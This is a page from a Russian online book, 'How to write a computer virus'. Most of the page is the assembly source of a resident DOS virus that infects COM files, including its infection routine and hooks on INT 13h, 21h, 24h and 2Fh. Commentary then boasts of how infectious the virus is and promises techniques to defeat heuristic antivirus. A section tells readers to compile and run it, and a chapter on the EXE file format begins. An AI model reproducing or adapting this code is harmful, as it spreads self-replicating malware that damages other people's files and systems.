Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 4 5 6 7 8 9 10  11 12 13 14 15 16 17 ... 27
	       xor cx,cx              ;вируса ...
	       mov dx,di
	       int 21h
	       jc cs:close

               mov ah,40h
               mov cx,2
               lea dx,end_file
               int 21h
               jc cs:close
                                      ;И остальную
               mov ah,40h             ;часть ...
               mov cx,vir_len - 2
               lea dx,vir + 2
               int 21h
               jc cs:close

    write_bytes:                      ;Запишем первые
	       mov ax,4200h           ;три байта
	       xor cx,cx
	       xor dx,dx
	       int 21h
	       jc cs:close

               mov ah,40h
               mov cx,3
               lea dx,new_bytes
               int 21h

    close:     mov ah,3eh             ;Закроем зара-
               int 21h                ;женный файл

    restore_dta:
               mov cx,80h             ;Восстановим DTA
	       lea si,dta_save
               mov di,bp
    dta_fresh:
               mov al,[si]
	       mov byte ptr es:[di],al
	       inc si
               inc di
	       loop cs:dta_fresh

    exit_zarasa:                      ;Выход в систему
               pop es
               pop ds
               pop bp
               pop di
               pop si
               pop dx
               pop cx
               pop bx
               pop ax
	       popf
               mov ss,cs:ss_save-110h ;Восстановим
               mov sp,cs:sp_save-110h ;стек ...
               iret

    ;-------------------------------------------------

    ; _______________________________________________
    ;|                                               |
    ;| Напишем новые обработчики INT 13h, INT 21h,   |
    ;| INT 24h и INT 2fh ...                         |
    ;|_______________________________________________|

               to_new_13h equ $-vir

    new_13h:   jmp cs:start_13h

    tg_13h     db   0
    ax_13h     dw   0
    cs_13h     dw   0
    ip_13h     dw   0

    start_13h: mov cs:tg_13h - 110h,1
               pushf
               db 9ah
    old_13h    dw 0
    old_13h_2  dw 0
               mov cs:ax_13h - 110h,ax;Поместим новый
               pop ax                 ;флаг на место
               mov cs:ip_13h - 110h,ax;старого ( CF )
               pop ax
               mov cs:cs_13h - 110h,ax
               pop ax
               pushf
               mov ax,cs:cs_13h - 110h
               push ax
               mov ax,cs:ip_13h - 110h
               push ax
               mov ax,cs:ax_13h - 110h
               mov cs:tg_13h - 110h,0
               iret

    ;-------------------------------------------------

               to_new_21h equ $-vir

    new_21h:   jmp cs:start_21h

    tg_infect  db   0

    start_21h: pushf
               push di
               push es
               xor di,di              ;Перехват
               mov es,di              ;INT 24h в рези-
               mov di,90h             ;дентном режиме
               mov word ptr es:[di],to_new_24h
               mov es:[di+2],cs
               cmp ah,03bh            ;Активизировать
                                      ;вирус ?
               jne cs:new_cmp_1
               mov cs:tg_infect-110h,1;Да - взводим
                                      ;триггер ...
    new_cmp_1: cmp ah,00eh
               jne cs:to_jump
               mov cs:tg_infect - 110h,1
    to_jump:   pop es
               pop di
               popf
               db 0eah                ;Переход на ста-
    old_21h    dw 0                   ;рый обработчик
    old_21h_2  dw 0                   ;INT 21h ...

    ;-------------------------------------------------

               to_new_24h equ $ - vir

    new_24h:   mov al,3               ;Вернем програм-
               iret                   ;ме управление и
                                      ;код ошибки ...

    ;-------------------------------------------------

               to_new_2fh equ $ - vir

    new_2fh:   pushf
               cmp ax,0f000h
	       jne cs:not_our
	       cmp bx,1997h
	       jne cs:not_our
	       mov al,0ffh
	       popf
               iret

    not_our:   popf
               db 0eah
    old_2fh    dw 0
    old_2fh_2  dw 0

    ;/***********************************************/

    ;Data area

    old_bytes   db   0e9h             ;Исходные три
                dw   vir_len + 0dh    ;байта ...

    dta_save    db   128 dup (0)      ;Массив для DTA

    maska       db   '*.com',0        ;Маска для поис-
                                      ;ка ...

    fn          db   12 dup (' '),0   ;Место для имени
                                      ;файла

    new_bytes   db   0e9h             ;Код команды
                                      ;" JMP ..."
                db   00h              ;HIGH
                db   00h              ;LOW

    end_file    db   0ebh             ;Первые два бай-
                db   push_len         ;та вируса в
                                      ;файле ...

    ss_save     dw   0                ;Буфера для SS
    sp_save     dw   0                ;и SP ...

    help_word   dw   0                ;Промежуточная
                                      ;ячейка .

    old_attr    db   0                ;Исходные атри-
                                      ;буты файла ...

    com_com     db   'COMMAND'        ;Имя командного
                                      ;процессора ...

    inside      db   0                ;Ячейка - инди-
                                      ;катор ...

    last        db   0                ;Последний байт

    to_newstack equ  $ - vir          ;Смещение к сте-
                                      ;ку ...
    newstack    dw   70 dup ( 0 )     ;Новый стек ...

    ;-------------------------------------------------

    search     proc                   ;Процедура
               push ax                ;сравнивает
               push cx                ;строки ...
               mov inside,1
               lea di,fn
               lea si,com_com
               mov cx,7
    new_cmp:   mov al,byte ptr ds:[si]
               cmp byte ptr ds:[di],al
               jne cs:not_equal
               inc di
               inc si
               loop cs:new_cmp
               jmp cs:to_ret
    not_equal: mov inside,0
    to_ret:    pop cx
               pop ax
               ret
    search     endp

                db   '1'              ;Последний байт
                                      ;вируса ...
    vir_len     equ  $-vir            ;Длина вируса в
                                      ;байтах ...
    vir_par     equ  ( $-vir + 0fh ) / 16
                                      ;И в параграфах

    prg_end:   mov ax,4c00h           ;Выход в DOS
               INT 21H                ;только для за-
                                      ;пускающей прог-
                                      ;раммы ...

	        db '1'                ;И ее последний
                                      ;байт ...

    prg ends                          ;Стандартное
    end start                         ;" окончание "
                                      ;ASM - программы


                     2.26 Комментарии

    В отличие от предыдущего,разработанный в этой гла-
    ве  вирус может отыскивать файлы для  заражения на
    всем жестком диске и даже на дискетах . Это делает
    его довольно заразным и быстро распространяющимся.
    Поэтому  сложность " конструкции "  окупается  эф-
    фективностью работы вирусного кода .
    Вместе с тем,наш вирус имеет определенный недоста-
    ток .Ведь его обнаруживает такая  распространенная
    программа, как DOCTOR WEB !В следующей части будет
    рассказано о способах  разработки вирусов,  против
    которых алгоритм эвристического анализа  оказывае-
    тся малоэффективным .


                   2.27 Испытание вируса

    Для исследования работы вируса откомпилируйте  его
    исходный текст  для  получения COM - файла . После
    чего запустите этот COM - файл .
    " Пройдитесь " по различным каталогам и понаблюда-
    йте,  как вирус  заражает файлы при смене текущего
    каталога .Попробуйте перейти на другой диск и про-
    следите за действиями вируса .И последнее,проверь-
    те, заражается  ли  командный процессор .Все выше-
    указанные  действия нужно проводить очень аккурат-
    но и не рисковать важными программами, так как ви-
    рус, который мы изготовили, весьма заразный, из-за
    чего у вас могут быть неприятности .
    Кроме того, очень советую вам " пройти "  заражен-
    ную  программу  отладчиком  до точки  входа в про-
    граммный код .
    И,наконец,при инсталлированном в память машины ви-
    русном коде запустите программу DOCTOR WEB в режи-
    ме поиска резидентных вирусов . Вы убедитесь,  что
    наш вирус обнаруживается как неизвестный .


                  ЧАСТЬ 2 . EXE - ВИРУСЫ


           ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
                       EXE - ВИРУСА


             1.1  Формат EXE - файла на диске

    Каждый EXE - файл,  хранимый на диске,  состоит из
    заголовка,таблицы настройки и собственно программ-
    ных кодов и данных.В заголовке содержится информа-
    ция для настройки адресов и установки значений ре-
    гистров процессора, которая используется при  заг-
    рузке программы .Поскольку понимание структуры за-
    головка очень важно для изучения данной и последу-
    ющей глав, мы рассмотрим ее уже сейчас .
    Итак,заголовок EXE - файла при хранении его на ди-
    ске имеет следующий формат :

    Байты 0,  1 : Содержат код 4D5Ah, или " MZ "

    Байты 2,  3 : Содержат остаток от деления  размера
                  загрузочного модуля на 512

    Байты 4,  5 : Содержат размер файла в 512-ти  бай-
                  товых страницах, округленный в боль-
                  шую сторону

    Байты 6,  7 : Содержат число элементов таблицы на-
                  стройки адресов

    Байты 8,  9 : Содержат размер заголовка в парагра-
                  фах

    Байты 0A,0B : Содержат минимальное число  дополни-
                  тельных параграфов,которые нужны за-
                  груженной программе

    Байты 0C,0D : Содержат максимальное число дополни-
                  тельных параграфов

    Байты 0E,0F : Содержат смещение в параграфах  сег-
                  мента стека в загрузочном модуле;на-
                  зовем его SS0

    Байты 10,11 : Содержат значение регистра SP, кото-
                  рое устанавливается перед  передачей
                  управления программе ( SP0 )

    Байты 12,13 : Содержат контрольную сумму  EXE-фай-
                  ла

    Байты 14,15 : Содержат значение регистра IP, кото-
                  рое устанавливается перед  передачей
                  управления программе ( IP0 )

    Байты 16,17 : Содержат смещение в параграфах  сег-
                  мента кода  в загрузочном модуле,или
                  CS0

    Байты 18,19 : Содержат расстояние в байтах от  на-
                  чала файла до первого элемента  таб-
                  лицы настройки адресов

    Байты 1A,1B : Содержат "0", если данная часть про-
                  граммы является резидентной, или от-
                  личное от  нуля число - если  данная
                  часть является оверлейной

    Заметим, что контрольная сумма определяется сумми-
    рованием всех слов, содержащихся в файле,без учета
    переполнения.При этом она практически нигде не ис-
    пользуется.


        1.2  Загрузка и выполнение EXE - программы

    Действия MS DOS при запуске EXE - программы  отли-
    чаются от действий при запуске программы типа COM,
    хотя  в обоих случаях операционная система исполь-
    зует одну и ту же функцию EXEC. Действия этой фун-
Предыдущая страница Следующая страница
1 ... 4 5 6 7 8 9 10  11 12 13 14 15 16 17 ... 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама